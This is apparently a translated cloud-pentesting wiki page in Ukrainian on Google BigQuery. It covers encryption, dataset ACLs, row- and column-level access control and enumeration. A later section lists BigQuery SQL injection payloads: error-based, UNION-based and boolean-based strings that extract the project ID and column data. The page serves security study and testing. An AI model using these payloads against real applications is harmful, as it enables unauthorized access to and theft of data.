GCP - Bigquery Enum
Базова інформація
Google Cloud BigQuery - це повністю кероване, безсерверне підприємницьке хранилище даних, яке пропонує можливості для аналізу петабайтів даних, тому ефективно обробляє великі набори даних. Як Платформа як Сервіс (PaaS), вона надає користувачам інфраструктуру та інструменти для полегшення управління даними без необхідності ручного контролю.
Підтримує запити за допомогою ANSI SQL. Основні об'єкти - це набори даних, що містять таблиці, що містять дані SQL.
Шифрування
За замовчуванням використовується шифрувальний ключ, керований Google, хоча можливо налаштувати шифрувальний ключ, керований клієнтом (CMEK). Можливо вказати ключ шифрування для кожного набору даних та для кожної таблиці всередині набору даних.
Термін дії
Можливо вказати термін дії в наборі даних, щоб будь-яка нова таблиця, створена в цьому наборі даних, була автоматично видалена через вказану кількість днів після створення.
Зовнішні джерела
Bigquery глибоко інтегрований з іншими сервісами Google. Можливо завантажувати дані з бакетів, pub/sub, google drive, баз даних RDS...
ACL набору даних
При створенні набору даних до нього додаються ACL, щоб надати доступ до нього. За замовчуванням надаються привілеї власника користувачеві, який створив набір даних, а потім власник групі projectOwners (власники проекту), письменник групі projectWriters та читач групі projectReaders:
Контроль доступу до рядків таблиці
Можливо контролювати рядки, до яких суб'єкт матиме доступ всередині таблиці за допомогою політик доступу до рядків. Вони визначаються всередині таблиці за допомогою DDL. Політика доступу визначає фільтр, і тільки рядки, які відповідають цьому фільтру, будуть доступні вказаним суб'єктам.
Контроль доступу до стовпців
Для обмеження доступу до даних на рівні стовпців:
Визначте таксономію та теги політики. Створіть та керуйте таксономією та тегами політики для ваших даних. https://console.cloud.google.com/bigquery/policy-tags
Опціонально: Надайте роль Читача з дрібними даними каталогу даних одному або декільком принципалам на один або декілька зі створених вами тегів політики.
Призначте теги політики вашим стовпцям BigQuery. У BigQuery використовуйте анотації схеми для призначення тега політики кожному стовпцю, до якого ви хочете обмежити доступ.
Застосуйте контроль доступу до таксономії. Застосування контролю доступу призводить до застосування обмежень доступу, визначених для всіх тегів політики в таксономії.
Керуйте доступом до тегів політики. Використовуйте Identity and Access Management (IAM) політики для обмеження доступу до кожного тега політики. Політика діє для кожного стовпця, який належить до тега політики.
Коли користувач намагається отримати доступ до даних стовпця під час запиту, BigQuery перевіряє тег політики стовпця та його політику, щоб переконатися, що користувач має дозвіл на доступ до даних.
У підсумку, для обмеження доступу до деяких стовпців для деяких користувачів ви можете додати тег до стовпця в схемі та обмежити доступ користувачів до тегу, застосовуючи контроль доступу до таксономії тегу.
Для застосування контролю доступу до таксономії потрібно увімкнути службу:
Можливо переглянути теги стовпців за допомогою:
Перелік
Внедрення SQL-запитів у BigQuery
Для отримання додаткової інформації ви можете переглянути допис у блозі: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Тут будуть наведені лише деякі деталі.
Коментарі:
select 1#from here it is not working
select 1/*between those it is not working*/
Але працюватиме лише початковийselect 1--from here it is not working
Отримайте інформацію про середовище, таку як:
Поточний користувач:
select session_user()
Ідентифікатор проекту:
select @@project_id
Отримайте назви наборів даних, таблиць та стовпців:
Назва проекту та набору даних:
Назви стовпців та таблиць:
Інші набори даних в тому ж проекті:
Типи SQL Injection:
Заснований на помилках - приведення типів:
select CAST(@@project_id AS INT64)
Заснований на помилках - ділення на нуль:
' OR if(1/(length((select('a')))-1)=1,true,false) OR '
Заснований на об'єднанні:
UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
Заснований на булевій логіці:
' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
Потенційно заснований на часі - Приклад використання публічних наборів даних:
SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000
Документація:
Оператори скриптів: https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting
Підвищення привілеїв та пост-експлуатація
pageGCP - BigQuery PrivescНаполегливість
pageGCP - BigQuery PersistenceПосилання
Last updated